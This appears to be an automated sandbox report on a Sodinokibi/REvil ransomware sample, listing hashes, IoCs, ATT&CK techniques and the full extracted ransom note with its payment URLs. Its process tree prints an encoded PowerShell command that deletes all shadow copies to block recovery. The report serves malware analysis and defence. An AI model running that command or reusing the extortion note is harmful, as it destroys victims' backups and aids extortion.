sodinokibi | 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01

General

Target

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Size

166KB
MD5

44c753ed1faec948b0d98bc9ba047469
SHA1

1aa2d575752dcfa73ea8bd2fa666e18588be353c
SHA256

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01
SHA512

f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0
SSDEEP

3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\n283c8e-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion n283c8e. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B21260D74039E65E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B21260D74039E65E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: zlZVOiTCbJpRGo6lDtnyVOtwDjzRCLEjZaqZKu9KBGG8bebJGEhZEgc8kDys4Zuz TX1C1ICwsFCZITP6YOJf4uWG/UnYW44dUnBPiuxwNOdP6fZf04JUP28RYVI/f28z 5S4KM1skNJcrR0dP0dQIxh/jZUzuGczevLvhb9HNA9jY7ZYLMsldIMx9t194j0iG X8FN0GAtjSiuDXc6IAQSMz6bNU9arfyBg4odgoTGm5DDnecaT3xGuDtCJwJNKlZ3 pdEWfK+b3hcGd+Nvd5U0aw8suW63/cJql8u09f6Wb0WK+a69hcN8O5zuLjRkFosQ rIq+G1nyGji2iQHLWCwQeXlqYxqg8lNu4CPrDA8EKQMvGq30v1vrHMaHkXqeE5/f UDF9nIWADpPgHFYMaQ/8FrYsTVqAGPL84t5M0g7PIhrKsTfcNBlFQ8HPd07hCiAX z65flouB3MH8nwajDi71Q7Cb2Npf+EgHFN7FhDwOT4L+CTL7fVAKukce37uzQgZa oHNXy4FkZOgAaAw8swUtuCYEuACosMOsrbVUWtHqfix1u4ul2URIAJh47U3w7Y3/ j14gRyiadvKeFxDHmbLLkFnTDKQfelJNslWOR7WlC+bedpidBaG8iAvxwZsgCyPT DaaazwyDEAaGKHHTg86ImoVNCBXkidmOn7FIMUI7YR+w3ruDGq/OEgGXMLkIP50s enXSuWGZ1yG+bfA1G7fD99TcwJG+huIG7HBioN8h92KUo8BAGVfYa8ejnA6aPf7C ZRocpci+U0rx8fp7qBpuDj995ztQxFfaPi+kDWj9zoahhjtyo5DhO+1/LWMgiOsq tQ/0biYYxLk4bpSAxqUR8F1I0Ev8nu2lbOM6vvjZMEu0V+/wq5dqIqxvbBOvenCN 4B36dwmj2yts2wSfJAzzDi21MNt46enRTOmg4J+nAWE05mX+GHwcv/0RWg0uiqLB 8LeGPd0DWiHImiRPmomUmLCh5z3Kw70+4U4F3QrAOkQiHp/ukxsqjIB1bP8lkVfL NEuZAZx6jiiH+ymTw/Qzyq41GCTOE9hrXrDV+7SCFIW0fzXK6pZUPGcpl2fdyvK9 zkg5Y3xzcqqP1vBrVeo9Jusmjkpe6bbdvP30SkkrQckgIb6UhyuLClwpn/2MEwRT XH0W01OqPWPtMz4EPFJkjUAKT1Fp8Uji1nvaYbl9vtmSn71rdwILb/tuQwAZoFOL nnx1bmyaFHChmtPzm4kafi/yhpkuDPRvwCL+7i+QO2NrjXUh3YCvnIiLolRBXknO RbyvYL932ZxeLdMSF4ROoD4vTmSPkjBUrvSO8LsuUbkTKe+vKAQ/czFJWQcXRrhj T3g9/tUMj5iDnNo1RKqfMPQau44HXdisXKcXGrBiM08= Extension name: n283c8e ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B21260D74039E65E

http://decryptor.cc/B21260D74039E65E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

description	ioc	process
File opened (read-only)	\??\R:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\X:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\Y:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\V:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\J:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\D:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\I:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\K:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\M:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\N:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\T:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\H:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\L:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\Q:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\Z:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\W:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\G:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\P:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\S:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\U:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\F:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\A:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\B:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\E:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened (read-only)	\??\O:	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2084844033-2744876406-2053742436-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\615z03s5.bmp"	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

Drops file in Program Files directory 25 IoCs

Processes:

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

description	ioc	process
File opened for modification	\??\c:\program files\EnterSet.au	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\RestoreCopy.docm	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\RevokePop.dwfx	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\n283c8e-readme.txt	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File created	\??\c:\program files\n283c8e-readme.txt	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\n283c8e-readme.txt	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\DisconnectRestore.pptx	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\FindMeasure.WTV	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\HideMeasure.vst	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\RestoreCompare.mp2v	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\ConvertToUnpublish.pps	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\ResumeCopy.raw	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\SelectApprove.odp	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\SyncWatch.tiff	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\n283c8e-readme.txt	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\ClearDismount.nfo	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\ConfirmReceive.vst	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\BackupPing.dot	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\EnterEdit.kix	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\OutExit.xsl	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\RegisterPop.cr2	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File created	\??\c:\program files (x86)\n283c8e-readme.txt	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\CompareCheckpoint.3gpp	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\ReceiveAdd.wax	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
File opened for modification	\??\c:\program files\SendRequest.raw	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exe

pid process

1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
2728 powershell.exe

pid	process
1740	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1740	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeBackupPrivilege	2700	vssvc.exe
Token: SeRestorePrivilege	2700	vssvc.exe
Token: SeAuditPrivilege	2700	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

description	pid	process	target process
PID 1740 wrote to memory of 2728	1740	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe	powershell.exe
PID 1740 wrote to memory of 2728	1740	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe	powershell.exe
PID 1740 wrote to memory of 2728	1740	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe	powershell.exe
PID 1740 wrote to memory of 2728	1740	6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
"C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2756

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\n283c8e-readme.txt

Filesize
6KB

MD5
fb4c767a0b24e9fdce2d989a4543e55f

SHA1
c9da654cbc8a8008da914a185f33620443f665c6

SHA256
ea06723114dac69e1a227046bc23a224b38cf8eff76fbb00e65a42d2ccaca4f0

SHA512
ee07328d885be3845be4cb90fd6bb3ba2164c76a9ba0afa5303a0286fdd5560a1212a07c3fe9ce4289a579af2073c1afae1e304cf4eb5f9c5306f1c78f1c378c

Download Submit
memory/2728-4-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2728-5-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2728-6-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2728-7-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2728-8-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2728-9-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2728-10-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2728-11-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads